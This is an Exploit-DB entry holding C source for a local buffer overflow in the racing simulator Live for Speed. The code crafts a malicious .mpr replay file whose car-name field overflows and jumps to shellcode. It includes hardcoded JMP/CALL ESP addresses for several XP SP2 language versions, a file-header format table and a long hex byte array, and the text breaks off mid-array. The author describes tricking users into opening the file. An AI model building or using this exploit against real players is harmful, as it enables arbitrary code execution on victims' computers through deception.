Exploit-DB #4252
Description: Live for Speed S1/S2/Demo - '.mpr replay' Local Buffer Overflow
Type: local
Platform: windows
Date: 2007-08-01
Author: n00b

Exploit:
/**
*****
**************************************************************************
0day Live for speed patch x s2 /s1 and demo local .mpr buffer over flow
Credit's to n00b for finding bug and writing the exploit
Lfs is a racing simulator with a huge player data-base with 100,000+ user's.
I found a local buffer over flow where im able to execute shell code
on the user's computer,We can save the replay's and import replay file's 
into lfs for viewing.So exploitation is pretty simple Trick a user into opening 
the .mpr file not very hard trust me.The buffer over flow seam's to be in 
the name for the car's.We are then able to do a jmp or call esp into our 
shellcode.If you want to See the debug information look at the first poc 
released.!!
Compile with dev c++ 4.9.9.2

----------
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.

I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
Educational use only..!!
-------------------------------------------------------------------------
MPR file header format for LFS S2 : 0.5X9
=========================================================================
FILE DESCRIPTION :
==================

num   unit    offset  description
---   ----    ------  -----------

6     char    0       LFSMPR              : do not read file if no match
1     byte    6       game version        : ignore
1     byte    7       game revision       : ignore
1     byte    8       MPR version         : ignore
1     byte    9       immediate start     : joined already running game
1     byte    10      reserved            : -
1     byte    11      reserved            : -
1     int     12      rules               : -
1     int     16      flags               : -
1     byte    20      laps byte           : laps / hours (see notes)
1     byte    21      skill               : skill level (0,1,2,3,4)
1     byte    22      wind                : 0=off 1=weak 2=strong
1     byte    23      num players         : players at start of race
8     char    24      LFS version         : text, ends 0
4     char    32      short track name    : e.g. BL2R
1     int     36      start time (UTC)    : seconds from 00:00 1/1/1970
32    char    40      track name          : text, ends 0
1     byte    72      config              : 1,2,3.. (first config is 1)
1     byte    73      reversed            : 0=no 1=yes
1     byte    74      weather             : 0,1,2.. (first weather is 0)
1     byte    75      num finished (NF)   : players in results table
1     int     76      0                   : -
=========================================================================
Vendor's web site:www.liveforspeed.net.
Affected version's Live for Speed S2 ALPHA PATCH 0.5X.
Special thank's to str0ke.
****************************************************************
*****
**/



#include <windows.h>
#include <stdio.h>
#include <conio.h>


#define Credits_to "Credit's to n00b for finding this buffer over flow" 
#define Mpr_file "exploit.mpr" 

//If none of the jmp esp work for you find your own and define it!!
#define JMP_ESP_English "\x0A\xAF\xD8\x77"   //user32.dll  xp sp2 english
#define CALL_ESP_French "\x8b\x51\x81\x7c"  //Kernel32.dll xp sp2 french
#define JMP_ESP_German  "\x47\x74\xd2\x77"  //user32.dll   xp sp2 german 
 
  
                                
char file_header1[] =
"\x4c\x46\x53\x4d\x50\x52\x00\x05\x0d\x01\x30\x20\x00\x08\x00\x00"
"\x23\x00\x00\x00\x06\x04\x00\x01\x30\x2e\x35\x58\x31\x30\x00\x00"
"\x46\x45\x32\x00\xfe\xad\xad\x46\x46\x65\x72\x6e\x20\x42\x61\x79"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x0